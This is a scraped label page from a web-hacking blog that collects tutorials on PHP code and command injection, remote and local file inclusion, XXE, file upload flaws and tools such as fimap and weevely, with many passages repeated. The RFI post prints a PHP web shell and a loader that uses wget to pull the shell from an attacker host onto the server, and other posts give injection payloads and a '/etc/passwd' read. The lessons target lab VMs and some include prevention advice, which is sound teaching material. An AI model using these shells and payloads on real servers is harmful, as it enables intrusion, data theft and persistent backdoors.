Read more »
Showing posts with label Web-Hacking. Show all posts
Showing posts with label Web-Hacking. Show all posts
A Simple php script for Port Scanning
The below given php script scans open ports on target server. There are mainly two functions are used for scanning :
fsockopen() : The fsockopen() function is used to open socket connection with given hostname and port. Syntax :
fsockopen(hostname, port, errNo, errStr, timeout);
getservbyport() : The getservbyport() function is used to get the service name which corresponds to supplied port and protocol. Syntax : getservbyport(portNumber, ProtocolName);
Command Injection vulnerability in Web Applications : Part 2 | Bypass Security Checks
In this post we are gong to look at some of the security implementations and data sanitization techniques used to mitigate the command injection vulnerability and also how to bypass them. For the basics of Command Injection vulnerability please visit my previous post :
Command Injection : Part 1 | Introduction
Note : I am going to use Web for Pentester VM for the example. To install it on your system visit below link :
Command Injection : Part 1 | Introduction
Note : I am going to use Web for Pentester VM for the example. To install it on your system visit below link :
Command Injection vulnerability in Web Applications : Part 1 | Introduction
The Command Injection Vulnerability allows an attacker to execute system level command on the vulnerable web server. This vulnerability occurs when an application passes unsafe user-supplied data (for example from get-post parameters, cookies, HTTP-headers etc ) without any sanitization or proper security checks to shell command execution functions like system(), shell_exec() etc. And these function will execute user/Attacker supplied data/command.
Code Injection Vulnerability in Web Applications
In Code Injection vulnerability allows an attacker to inject and execute malicious code on the target web application. This type of attack exploits the poor handling of user-supplied untrusted data. The code injection vulnerability exists on the web-application due to lack of proper validation and security checks against input data (user-supplied data).
The code injection is different from command injection, because in code injection an attacker is only limited by the functionality of the injected language itself. For example, if an attacker is able to inject PHP code into an application and have it executed, he is only limited by what PHP is capable of. Now lets see an example of code injection Vulnerability.
File : test.php
Above code takes input from GET parameter 'name' and evaluate it with echo command by using eval() function, the eval() function is a inbuilt php function which evaluates a string as PHP code. Output of above program :
But the above code is vulnerable to php code injection. For example, an attacker could make the following request to execute arbitrary PHP code.
And as we can see, the phpinfo() function is executed by simply commenting out the rest of the code (by using '//' ) on eval() function at line 3. Another example of evaluating system commands :
Avoiding Code Injection Vulnerability :
The best way to eliminate the code injection vulnerability is to avoid code evaluation at all costs. And when it is necessary then it is important to strongly validate the input data before evaluating it.
Visit the link for more tutorials about Web Security : http://www.sec-art.net/p/web-security.html
The code injection is different from command injection, because in code injection an attacker is only limited by the functionality of the injected language itself. For example, if an attacker is able to inject PHP code into an application and have it executed, he is only limited by what PHP is capable of. Now lets see an example of code injection Vulnerability.
File : test.php
<?php
$name = $_GET['name'];
eval("echo 'Hello $name';");
?>
Above code takes input from GET parameter 'name' and evaluate it with echo command by using eval() function, the eval() function is a inbuilt php function which evaluates a string as PHP code. Output of above program :
But the above code is vulnerable to php code injection. For example, an attacker could make the following request to execute arbitrary PHP code.
/test.php?name=ajay;';phpinfo();//
And as we can see, the phpinfo() function is executed by simply commenting out the rest of the code (by using '//' ) on eval() function at line 3. Another example of evaluating system commands :
/test.php?name=ajay;';system('uname -a');//
Avoiding Code Injection Vulnerability :
The best way to eliminate the code injection vulnerability is to avoid code evaluation at all costs. And when it is necessary then it is important to strongly validate the input data before evaluating it.
Visit the link for more tutorials about Web Security : http://www.sec-art.net/p/web-security.html
PHP Serialization / Object Injection Vulnerability Part 1 : Basics of PHP Serialization and Magic Function
The PHP Object Injection Vulnerability allows an attacker to modify a PHP object in a way that it changes the application flow, which leads to Remote code execution, Path traversal, DOS attack etc.
The serialization vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass crafted serialized strings to a vulnerable unserialize() call, which resulting in an arbitrary PHP object(s) injection into the application scope.
The serialization vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass crafted serialized strings to a vulnerable unserialize() call, which resulting in an arbitrary PHP object(s) injection into the application scope.
Remote File Inclusion Attacks on Web-Application | RFI Attacks
RFI stands for Remote File Inclusion, this vulnerability allows an attacker to dynamically include files/scripts from remote/external sources into the web server. This vulnerability occurs due to poorly implemented security checks and sanitization. The successful exploitation of RFI vulnerability leads to remote code execution, Cross Site Scripting, Information disclosure etc. For example :
In this example i am going to use Metasploitable2 VM. The download links are given below :
Download Link : https://download.vulnhub.com/metasploitable/metasploitable-linux-2.0.0.zip
And you also need to enable "allow_url_include" option in Metasploitable2, to do that just open the file '/etc/php5/cgi/php.ini' with nano or vi editor and in Line number 576
Now we try to include an external file from remote source.
File : shell.php
And in the web application, the url will be :
And as we can see the 'ls' command is successfully executed on the web server. We can also drop our backdoor file on the web server with below code
File : load.php
Preventing Remote File Inclusion (RFI) vulnerability
The best way to eliminate Remote File Inclusion (RFI) vulnerabilities is to avoid dynamically including files based on user input. If this is not possible, the application should maintain a whitelist of files that can be included in order to limit the attacker’s control over what gets included. We can also minimize the risk of RFI attacks through proper input validation and sanitization. it’s always preferable to sanitize user-supplied/controlled inputs to the best of your ability. These inputs include:
<?php $file = $_GET['file']; include($file); ?>The above page takes file name as input and include that file.
website.com/test.php?file=page1
But the above php code is vulnerable to RFI attack, and an attacker could easily include remote files and run it on the web server. website.com/test.php?file=http://attackersite.com/backdoor.php&cmd=cat%20/etc/passwd
Now lets see an example of the attack. Also note that in php version 5 and above the 'allow_url_include' option is disabled by default, and in order to experiment with RFI you have to enable it.In this example i am going to use Metasploitable2 VM. The download links are given below :
Download Link : https://download.vulnhub.com/metasploitable/metasploitable-linux-2.0.0.zip
And you also need to enable "allow_url_include" option in Metasploitable2, to do that just open the file '/etc/php5/cgi/php.ini' with nano or vi editor and in Line number 576
allow_url_include = Off
at above line change Off with On allow_url_include = On
Our vulnerable page will take page name and include that page.Now we try to include an external file from remote source.
File : shell.php
<?php $cmd = $_GET['cmd']; system($cmd); ?>URL of php file is : http://192.168.56.1:8000/shell.php
And in the web application, the url will be :
/dvwa/vulnerabilities/fi/?page=http://192.168.56.1:8000/shell.php&cmd=ls
And as we can see the 'ls' command is successfully executed on the web server. We can also drop our backdoor file on the web server with below code
File : load.php
<?php
shell_exec('wget http://192.168.56.1:8000/shell.php -O /var/www/shell.php')
?>
The above code will download shell.php and store it on /var/www/ directory. http://192.168.56.101/dvwa/vulnerabilities/fi/?page=http://192.168.56.1:8000/load.php
and after the above request, we can access our backdoor 'shell.php', with http://192.168.56.101/shell.php?cmd=<command_to_run>
Preventing Remote File Inclusion (RFI) vulnerability
The best way to eliminate Remote File Inclusion (RFI) vulnerabilities is to avoid dynamically including files based on user input. If this is not possible, the application should maintain a whitelist of files that can be included in order to limit the attacker’s control over what gets included. We can also minimize the risk of RFI attacks through proper input validation and sanitization. it’s always preferable to sanitize user-supplied/controlled inputs to the best of your ability. These inputs include:
- GET/POST parameters
- URL parameters
- Cookie values
- HTTP header values
It is also recommended to implement validation mechanisms on the server side, because client side validation can be easily bypassed by using a proxy tool like burp suite, ZAP proxy etc.
Additionally, in the case of PHP, most modern PHP configurations are configured with allow_url_include set to off, which would not allow an attacker to include remote files, but it still be vulnerable to Local File Inclusion attack.
Links to other posts :
Links to other posts :
fimap : tool for exploiting Remote/Local File Inclusion vulnerability | LFI Attacks
fimap is an LFI/RFI detection and exploitation tool written in python which can find, prepare, audit, exploit and even google automatically for local and remote file inclusion bugs in webapps. fimap is something like sqlmap just for LFI/RFI bugs instead of SQL injection. The download link is given below :
https://github.com/crunchsec/fimap/archive/master.zip
Now lets see some example of uses fimap.
For help menu :
Simple Scan :
as we can see the 'page' parameter is vulnerable. Scanning the second example :
Scanning with harvest mode : -H
This mode harvest all urls from a given root url of a server and save it to a file.
Now we can use that output file as input for scanning each url with fimap, with using mass scan option (-m)
Interactive mode :
'-x' flag is used to start interactive mode in fimap. It lists all vulnerable targets based on previous scan results and gives the option to perform exploitation attempts against them. Example of interactive mode :
Links to other Posts :
References :
https://github.com/crunchsec/fimap/
https://www.exploit-db.com/papers/12872
http://kaoticcreations.blogspot.com/2011/08/automated-lfirfi-scanning-exploiting.html
https://github.com/crunchsec/fimap/archive/master.zip
Now lets see some example of uses fimap.
For help menu :
./fimap.py -h
Now lets first try it with Web4Pentest VM's File Inclusion Pages.Simple Scan :
./fimap.py -u http://192.168.56.103/fileincl/example1.php?page=
Output :as we can see the 'page' parameter is vulnerable. Scanning the second example :
./fimap.py -u http://192.168.56.103/fileincl/example2.php?page=
Output :Scanning with harvest mode : -H
This mode harvest all urls from a given root url of a server and save it to a file.
./fimap.py -H -u root_url -w output_file_name
Example : ./fimap.py -H -u http://192.168.56.103/ -w op.txt
The output will be saved on op.txtNow we can use that output file as input for scanning each url with fimap, with using mass scan option (-m)
./fimap.py -m -l op.txt
Interactive mode :
'-x' flag is used to start interactive mode in fimap. It lists all vulnerable targets based on previous scan results and gives the option to perform exploitation attempts against them. Example of interactive mode :
./fimap.py -x
Links to other Posts :
- Introduction to LFI Attack
- Exploiting Local File Inclusion (LFI ) vulnerability with /proc/self/environ method
- Introduction to RFI Attack
References :
https://github.com/crunchsec/fimap/
https://www.exploit-db.com/papers/12872
http://kaoticcreations.blogspot.com/2011/08/automated-lfirfi-scanning-exploiting.html
Exploiting Local File Inclusion (LFI ) vulnerability with /proc/self/environ method | LFI Attacks
In this post we are going to see, how an attacker can exploit LFI vulnerability to to achieve code execution by the use of /proc/self/environ method.
What is /proc/self/environ LFI Method ?
In Linux based system the environment-variables of the current process (self) can be accessed via /proc/self/environ. One of the environment-variables set (if apache2 is running) is the user-agent which can be controlled through a HTTP request. If the /proc/self/environ file can be accessed through LFI, then in this case “RCE” can be achieved by requesting the file in combination with the payload written into the HTTP User-Agent field.
What is /proc/self/environ LFI Method ?
In Linux based system the environment-variables of the current process (self) can be accessed via /proc/self/environ. One of the environment-variables set (if apache2 is running) is the user-agent which can be controlled through a HTTP request. If the /proc/self/environ file can be accessed through LFI, then in this case “RCE” can be achieved by requesting the file in combination with the payload written into the HTTP User-Agent field.
Local File Inclusion Attacks on Web Applications | Introduction to LFI Attack
The LFI stands for Local File Inclusion, it allows an attacker to include files that exist (available locally) on the target web server. This vulnerability exists when a web application includes a file without correctly sanitising the user input.
The LFI vulnerability is exploited by abusing dynamic file inclusion mechanisms by inject path traversal characters to include files from the web server. Also note that with LFI vulnerability we can only includes the files which are available locally on that web server.
The LFI vulnerability is exploited by abusing dynamic file inclusion mechanisms by inject path traversal characters to include files from the web server. Also note that with LFI vulnerability we can only includes the files which are available locally on that web server.
XML Attacks Part 4 : Out Of Bound Attacks
In XML Attacks there are situation when an attacker sends the xml payload to the target application, but the web application does not designed to return the response, and the attacker would never no that his/her payload may work or not, this situation is known as Out Of Bound attack.
But there is a way to get the response from the web application in Out Of Bound situation, and this is done by forcing the XML parser make additional request to an attacker controlled server in order to read the extracted data from the web server.
But there is a way to get the response from the web application in Out Of Bound situation, and this is done by forcing the XML parser make additional request to an attacker controlled server in order to read the extracted data from the web server.
XML Attacks : Part 3 : Denial Of Service Attacks
The XML entities can also be used to perform Denial of Service attack on the web applications. In this attack the xml entities is used. Consider the below example :
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE book [ <!ENTITY msg "Hello world"> ]> <book> <name>&msg;</name> <author>Nobody</author> <price>0000</price> </book>Output :
XML Attacks Part 2 : XXE (Xml eXternal Entity ) Attack
An XXE ( XML eXternal Entity ) attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. In this attack particularly the "URI/URL" portion of external entity is used and with this an attacker could do various malicious things, for example extracting sensitive data, Server-Side request forgery and even remote code execution (RCE) in some cases. Now lets see how it works.
XML Attaks : Part 1 - Basic of XML structure and attack surface
- What is xml?
"Extensible Markup Language (XML) is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. " - - Wikipedia
It is basically used to store and transport data in a structured way. The XML data is also known as self-describing or self-defining, meaning that the structure of the data is embedded within the data itself, which could be easily parsed by a parser and also human readable. The example of XML file is:
weevely : PHP Web-shell Generation tool | How to use weevely3 to generate PHP Backdoor
Weevely is a command line tool used to generate web shells, and it also provide clean command line environment to execute code on target server after uploading the shell.
With weevely terminal we can execute arbitrary code through uploaded php shell on the target web server. It also provide more than 40 modules to assist administrative tasks, maintain access, provide situational awareness, elevate privileges, and spread into the target server.
With weevely terminal we can execute arbitrary code through uploaded php shell on the target web server. It also provide more than 40 modules to assist administrative tasks, maintain access, provide situational awareness, elevate privileges, and spread into the target server.
File Upload Vulnerability : Security Check Bypass and Sanitization mitigation techniques
In this post we are gong to look at some of the security implementations and file control mechanism used to mitigate the File upload vulnerability and also how to bypass them. For the basics of File upload vulnerability please visit my previous post :
http://www.sec-art.net/2019/01/file-upload-vulnerability-in-web.html
http://www.sec-art.net/2019/01/file-upload-vulnerability-in-web.html
File Upload Vulnerability in Web Applications | Basics of File Upload Vulnerability
The modern web applications requires the user to upload various files on the web servers. Specially social media websites. Specially social media sites like facebook, twitter, instagram etc. allows users to upload pictures, videos files.
Now a days file upload functionality is the crucial part of many web applications. But the file upload functionality will also imposes several threats to the web applications, it is a big risk to the application as well as to the server if proper security checks and file controls are not implemented on file uploads.
Now a days file upload functionality is the crucial part of many web applications. But the file upload functionality will also imposes several threats to the web applications, it is a big risk to the application as well as to the server if proper security checks and file controls are not implemented on file uploads.
WebGoat CSRF Challenges Solutions | Cross Site Request Forgery
WebGoat is a java based Web Application which used to demonstrate and teach students about web vulnerability. It is a deliberately insecure application that allows interested developers just like you to test vulnerabilities commonly found in Java-based applications that use common and popular open source components.
Subscribe to:
Posts (Atom)


























